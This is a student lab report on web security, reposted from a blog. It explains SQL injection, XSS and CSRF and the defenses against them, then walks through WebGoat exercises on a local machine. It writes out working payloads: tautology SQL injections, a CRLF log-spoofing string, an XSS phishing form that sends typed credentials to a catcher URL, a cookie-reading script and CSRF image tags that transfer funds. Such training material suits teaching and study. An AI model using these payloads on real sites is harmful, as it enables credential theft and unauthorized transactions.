标签:Web Exp9 XSS 攻击 安全 防御 CSRF SQL 输入
1.实验后回答问题
(1)SQL注入攻击原理,如何防御
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
SQL注入攻击指的是就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防御:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把秘密信息直接存放,加密或者hash掉密码和敏感的信息。
(2)XSS攻击的原理,如何防御
XSS攻击:跨站脚本攻击。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略。
防御:
基于特征的防御:
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
基于代码修改的防御:
步骤1、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
步骤2、实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
步骤3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
(3)CSRF攻击原理,如何防御
CSRF即跨站请求伪造。借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了。
防御
referer
因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
使用验证码
每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
使用token
每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。
2.实践过程记录
先下载webgoat-container-7.0.1-war-exec.jar并将其复制到kali中
kali键入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat,在firefox浏览器中输入http://localhost:8080/WebGoat进入登录界面,输入默认的账号即可登录。
1.Numeric SQL Injection 数字SQL注入攻击
攻击要求:下面的表单允许用户查看天气数据。尝试注入SQL字符串,结果将显示所有天气数据。
这个题无法通过输入信息进行攻击,我们只能按下f12进入网页后端,把这一处原来的101替换成 “101 or 1=1” ,构造永真式,在第一页选择哥伦比亚进行查询即可查询到表中所有天气情况。
2.String SQL Injection SQL字符串注入
攻击要求:下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,结果显示所有的信用卡号码显示。
输入 'or 1='1 构造永真式:第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。将一条语句被强行拆分成为两条语句。而第二句1=1永远成立,所以我们可以查找到全部人及其银行卡账号。
3.Log Spoofing日志欺骗
攻击:下面的灰色区域表示将要登录到Web服务器的日志文件中的内容。你的目标是使它像一个用户名“admin”已成功登录。 通过向日志文件中添加脚本来提升攻击。
先尝试输入账号密码,发现不论输入什么用户名都会在同一行显示出来。所以我们可以利用回车换行进行注入。
所以我们在用户名框中输入 %0d%0a(换行符)Login Succeeded for username: admin 。登录成功。
4.Phishing with XSS 跨站脚本钓鱼攻击
search框编写前端代码并在输入框中注入这段前端代码
<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
按要求输入username password 即可截获成功
5.Reflected XSS Attacks反射型XSS攻击
攻击要求:在务器端验证所有输入是一个很好的方法。XSS可以发生在未经验证的用户输入用于HTTP响应。在反射型XSS攻击中,攻击者可以制作一个URL攻击脚本发送到另一个网站,比如电子邮件,然后让受害者点击它。
于Enter your three digit access codeA框内:填写 <script>alert(document.cookie);</script> ,此段代码可以获取cookie。
6.Cross SSite Request Forgery(CSRF)——跨ssite请求伪造
攻击要求:目标是把电子邮件发送到银行。该电子邮件包含一个图像,其URL指向恶意请求。可以通过在右边的参数中查找“src”和“menu”值来构造链接。 CSRF的电子邮件,是用来匿名的将收件人的资金转移。
输入
<img src=' http://localhost:8080/WebGoat/attack? Screen=286 &menu=900 &transferFunds=233 ' width='1' height='1'>
其中286是网页的scr,900是网页的menu,4309为转钱数额
7.CSRF Prompt By-Pass
攻击要求:与上一个攻击类似,不同的是这次的目标是发送一组包含多个恶意请求的邮件:①资金转移请求②资金转移确认信息。
只需要在之前的基础上加一句确认信息即可:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />
所以输入为:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=4309" width="1" height="1" />
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=CONFIRM " width="1" height="1" />
标签:Web,Exp9,XSS,攻击,安全,防御,CSRF,SQL,输入
来源: https://www.cnblogs.com/20164309-kx/p/10926667.html
本站声明:
1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。